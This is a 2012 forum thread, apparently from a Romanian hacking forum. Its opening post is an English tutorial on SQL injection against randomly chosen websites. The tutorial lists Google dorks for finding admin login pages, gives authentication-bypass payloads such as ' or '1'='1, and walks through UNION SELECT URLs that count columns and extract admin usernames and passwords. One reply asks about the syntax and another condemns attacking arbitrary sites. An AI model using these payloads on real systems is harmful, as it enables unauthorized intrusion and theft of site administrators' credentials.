io.kent Posted September 9, 2012 Report Posted September 9, 2012 Q what is sql injection?A injecting sql queries into another database or using queries to get auth bypass as an admin.part 1 : Basic sql injectionGaining auth bypass on an admin account.Most sites vulnerable to this are .aspFirst we need 2 find a site, start by opening google.Now we type our dork: "defenition of dork" 'a search entry for a certain type of site/exploit .ect"There is a large number of google dork for basic sql injection.here is the best:"inurl:admin.asp""inurl:login/admin.asp""inurl:admin/login.asp""inurl:adminlogin.asp""inurl:adminhome.asp""inurl:admin_login.asp""inurl:administratorlogin.asp""inurl:login/administrator.asp""inurl:administrator_login.asp"Now what to do once we get to our site.the site should look something like this :welcome to xxxxxxxxxx administrator panelusername :password :so what we do here is in the username we always type "Admin"and for our password we type our sql injectionhere is a list of sql injections' or '1'='1' or 'x'='x' or 0=0 --" or 0=0 --or 0=0 --' or 0=0 #" or 0=0 #or 0=0 #' or 'x'='x" or "x"="x') or ('x'='x' or 1=1--" or 1=1--or 1=1--' or a=a--" or "a"="a') or ('a'='a") or ("a"="ahi" or "a"="ahi" or 1=1 --hi' or 1=1 --'or'1=1'there are many more but these are the best ones that i know ofand what this sql injection is doing : confusing the fuck out of the database till it gives you auth bypass.So your input should look like thisusername:Adminpassword:'or'1'='1So click submit and you'r inNOTE not all sites are vulnerable.part 2: injecting sql queries to extract the admin username and passwordok so lets say we have a site : http://www.xxxxx.com/index.php?catid=1there is a list of dork 4 sites lyk this"inurl:index.php?catid=""inurl:news.php?catid=""inurl:index.php?id=""inurl:news.php?id="or the best in my view "full credit to qabandi for discovering this""inurl:".php?catid=" site:xxx"So once you have you'r sitehttp://www.xxxx.com/index.php?catid=1now we add a ' to the end of the urlso the site ishttp://www.xxxx.com/index.php?catid=1'if there is an error of some sort then it is vulnerablenow we need to find the number of columns in the sql databaseso we typehttp://www.xxxx.com/index.php?catid=1 order by 1-- "no error"http://www.xxxx.com/index.php?catid=1 order by 2-- "no error"http://www.xxxx.com/index.php?catid=1 order by 3-- "no error"http://www.xxxx.com/index.php?catid=1 order by 4-- "no error"http://www.xxxx.com/index.php?catid=1 order by 5-- "error"so this database has 4 columns because we got an error on 5on some databases there is 2 columns and on some 200 it variesso once we have the column number.we try the union functionhttp://www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"if you see some numbers like 1 2 3 4 on the screen or the column namesit might not show all numbers on the screen but the numbers displayed are the ones you can replace to extract info from the dbso now we need to info about the dbso lets say the numbers 2 and 4 showed up on the screenso i will use my query on 2http://www.xxxx.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),versi on()),3,4--the db type and version will pop up on the screenif the db version is 4 or lower then to extract the password you will need these querieshttp://www.xxxx.com/index.php?catid=-1UNION SELECT 1,concat(table_name,CHAR(58),column_name,CHAR(58), table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--this should display the table containing the admin username and passwordbut if not then you will have to guess the tableso once you have your table "or not"then typehttp://www.xxxx.com/index.php?catid=1UNION SELECT 1,password,3,4 FROM admintablename--where it says admintablename type the table you found with concat(table_name,CHAR(58),column_name,CHAR(58),ta ble_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guessthen once u have the right table name you should get the administrator passwordthen just do the same thing but type username instead of passwordsometimes the password is hashed and you need to crack it.then see if you can get the admin panel if you cant then try the admin panel finder script here 404 Page Not Foundnow if the database is version 5 or uptypehttp://www.xxxx.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--and that will display a list of all the tablesonce you have your table nametype the same thing as 4http://www.xxxx.com/index.php?catid=1UNION SELECT 1,password,3,4 FROM admintable--then the same with usernamebut now if it doesnt work far all those thingsjust tootoo around with all the little catid=1 or catid=-1 or instead of -- put /* or even nothingjust play around with thosebut sometimes we also need to use the version() or version@@so sometimes UNION SELECT version (),password,3,4 FROM admintable--or UNION SELECT version @@,password,3,4 FROM admintable--
scriptalertowned Posted September 10, 2012 Report Posted September 10, 2012 Woau ce tare ...Explica-ne si noua daca tot ai facut tutorialul (ca sursa nu vad) de ce se foloseste CHAR() , ce reprezinta table_schema si de ce folosesti -- .
Nytro Posted September 10, 2012 Report Posted September 10, 2012 Am vazut ca incepe cu dork-uri, nu stau sa citesc pentru ca sunt sigur ca e o porcarie.Nu cauti "orice" site, vulnerabil sa fie, ori ai un motiv, ori iti vezi de treburile tale, nu ataci site-uri la intamplare de dragul de a incerca sa pari 1337.